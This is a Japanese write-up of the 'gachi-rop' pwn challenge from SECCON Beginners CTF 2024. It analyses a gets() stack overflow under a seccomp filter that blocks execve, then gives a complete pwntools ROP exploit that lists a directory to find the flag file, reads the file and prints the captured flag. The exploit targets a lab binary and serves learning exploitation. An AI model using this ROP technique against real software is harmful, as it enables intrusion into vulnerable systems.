- Source: SECCON Beginners CTF 2024
- Author: Satoki
問題バイナリとlibcが与えられる。Dockerfile付きで嬉しいが、ソースコードは無くて悲しい。
実行してみると、よくあるStack問っぽい雰囲気。system関数のアドレスが与えられているのも嬉しい。
$ ./gachi-rop
system@0x7086b6858750
Name: aaa
Hello, gachi-rop-aaa!!
まずはchecksecする。防御機構はNX以外ほぼ全オフになっていて、脆弱性が分かれば何でもできそう。
$ checksec --file=gachi-rop
[*] '/path/to/gachi-rop'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
Ghidraでデコンパイルしてみるとgets関数でスタックに書き込んでおり、自明なBuffer Overflowがある。また、install_seccomp()によってseccompが設定されている。
undefined8 main(void)
{
char local_18 [16];
install_seccomp();
printf("system@%p\n",system);
local_18[0] = '\0';
local_18[1] = '\0';
local_18[2] = '\0';
local_18[3] = '\0';
local_18[4] = '\0';
local_18[5] = '\0';
local_18[6] = '\0';
local_18[7] = '\0';
local_18[8] = '\0';
local_18[9] = '\0';
local_18[10] = '\0';
local_18[0xb] = '\0';
local_18[0xc] = '\0';
local_18[0xd] = '\0';
local_18[0xe] = '\0';
local_18[0xf] = '\0';
printf("Name: ");
gets(local_18);
printf("Hello, gachi-rop-%s!!\n",local_18);
return 0;
}
ということで、seccomp-toolsを使ってどのような制限がかけられているか確認する。
$ seccomp-tools dump ./gachi-rop
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x05 0xc000003e if (A != ARCH_X86_64) goto 0007
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x03 0x00 0x40000000 if (A >= 0x40000000) goto 0007
0004: 0x15 0x02 0x00 0x0000003b if (A == execve) goto 0007
0005: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 0007
0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0007: 0x06 0x00 0x00 0x00050000 return ERRNO(0)
execveとexecveatが制限されているので、それらを内部で呼び出しているsystem関数も当然使えない。またDockerfileを見れば分かるが、flagのファイル名も推測困難になっており、まずはファイル名を特定する必要がある。
よって方針としては、NX bitをがんばって反転させてshellcodeを実行するか、ROPでread->writeをやることになる。今回は後者の方針でいく。
まず、flagが置かれているパス/app/ctf4bなどの文字列をどうやって作るかが問題になる。これをROPだけで作り上げるのは難しいため、一旦.bssの適当な場所にgetsで書き込んでおくことにする。
rop = ROP(libc, badchars=b'\x0a')
bss = elf.bss() + 0x800
rop.call(elf.symbols['gets'], [bss]) # write path to bss
payload = b"A"*0x18
payload += rop.chain()
io.sendlineafter("Name: ", payload)
io.sendline(b"/app/ctf4b") # send dir path
あとはレジスタをいい感じに制御して最後にsyscallを呼び出すROP chainを頑張って作成すれば良い。具体的な流れとしては、
- .bssに
/app/ctf4bを書き込む -
/app/ctf4bのディレクトリエントリを読む - stdoutに書き込み、pwntools側でflagのpathを取得する
- 新たな接続で.bssにflagのpathを書き込む
- flagのファイルを読む
- stdoutに書き込み、pwntools側でflagを取得する
という感じ。スクリプトに書き起こすとこうなる。
from pwn import *
elf = ELF('./gachi-rop')
libc = ELF('./libc.so.6')
context.binary = elf
# context.log_level = 'debug'
def get_conn_and_libc():
io = remote("localhost", 4567)
io.recvuntil(b'system@')
libc_system = int(io.recvline().strip(), 16)
# reset libc base
libc.address = 0
libc.address = libc_system - libc.symbols['system']
assert libc.address & 0xfff == 0
log.info(f'libc base: {hex(libc.address)}')
return io
def get_syscall_caller(rop):
pop_rax = rop.find_gadget(['pop rax', 'ret'])[0]
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
pop_rsi = rop.find_gadget(['pop rsi', 'ret'])[0]
pop_rdx_r12 = rop.find_gadget(['pop rdx', 'pop r12', 'ret'])[0]
syscall = rop.find_gadget(['syscall', 'ret'])[0]
def add_syscall(rax, rdi, rsi, rdx):
rop.raw([pop_rax, rax])
rop.raw([pop_rdi, rdi])
rop.raw([pop_rsi, rsi])
rop.raw([pop_rdx_r12, rdx, 0])
rop.raw(syscall)
return add_syscall
# setup ROP 1
io = get_conn_and_libc()
rop = ROP(libc, badchars=b'\x0a')
bss = elf.bss() + 0x800
add_syscall = get_syscall_caller(rop)
rop.call(elf.symbols['gets'], [bss]) # write path to bss
add_syscall(2, bss, 0o200000, 0) # open dir
add_syscall(78, 3, bss, 0x100) # get dir entries
add_syscall(1, 1, bss, 0x100) # write to stdout
# send payload
payload = b"A"*0x18
payload += rop.chain()
io.sendlineafter("Name: ", payload)
io.sendline(b"/app/ctf4b") # send dir path
# get flag path
recv = io.recvall(timeout=1).decode(errors='ignore')
flag_path = "/app/ctf4b/flag-" + recv.split("flag-")[1].split("\x00")[0]
log.success(f'flag path: {flag_path}')
io.close()
# setup ROP 2
io = get_conn_and_libc()
rop = ROP(libc, badchars=b'\x0a')
bss = elf.bss() + 0x800
add_syscall = get_syscall_caller(rop)
rop.call(elf.symbols['gets'], [bss]) # write path to bss
add_syscall(2, bss, 0, 0) # open file
add_syscall(0, 3, bss, 0x100) # read file
add_syscall(1, 1, bss, 0x100) # write to stdout
# send payload
payload = b"A"*0x18
payload += rop.chain()
io.sendlineafter("Name: ", payload)
io.sendline(flag_path.encode()) # send flag path
# get flag
recv = io.recvall(timeout=1).decode(errors='ignore')
flag = "ctf4b{" + recv.split("ctf4b{")[1].split("}")[0] + "}"
log.success(f'flag: {flag}')
これを実行するとflagが得られた。
$ python3 solver.py
[+] Opening connection to localhost on port 4567: Done
[*] libc base: 0x77000b197000
[*] Loaded 219 cached gadgets for './libc.so.6'
[+] Receiving all data: Done (304B)
[*] Closed connection to localhost port 4567
[+] flag path: /app/ctf4b/flag-40ff81b29993c8fc02dbf404eddaf143.txt
[+] Opening connection to localhost on port 4567: Done
[*] libc base: 0x7ed382ec7000
[+] Receiving all data: Done (306B)
[*] Closed connection to localhost port 4567
[+] flag: ctf4b{64ch1_r0p_r3qu1r35_mu5cl3_3h3h3}
ctf4b{64ch1_r0p_r3qu1r35_mu5cl3_3h3h3}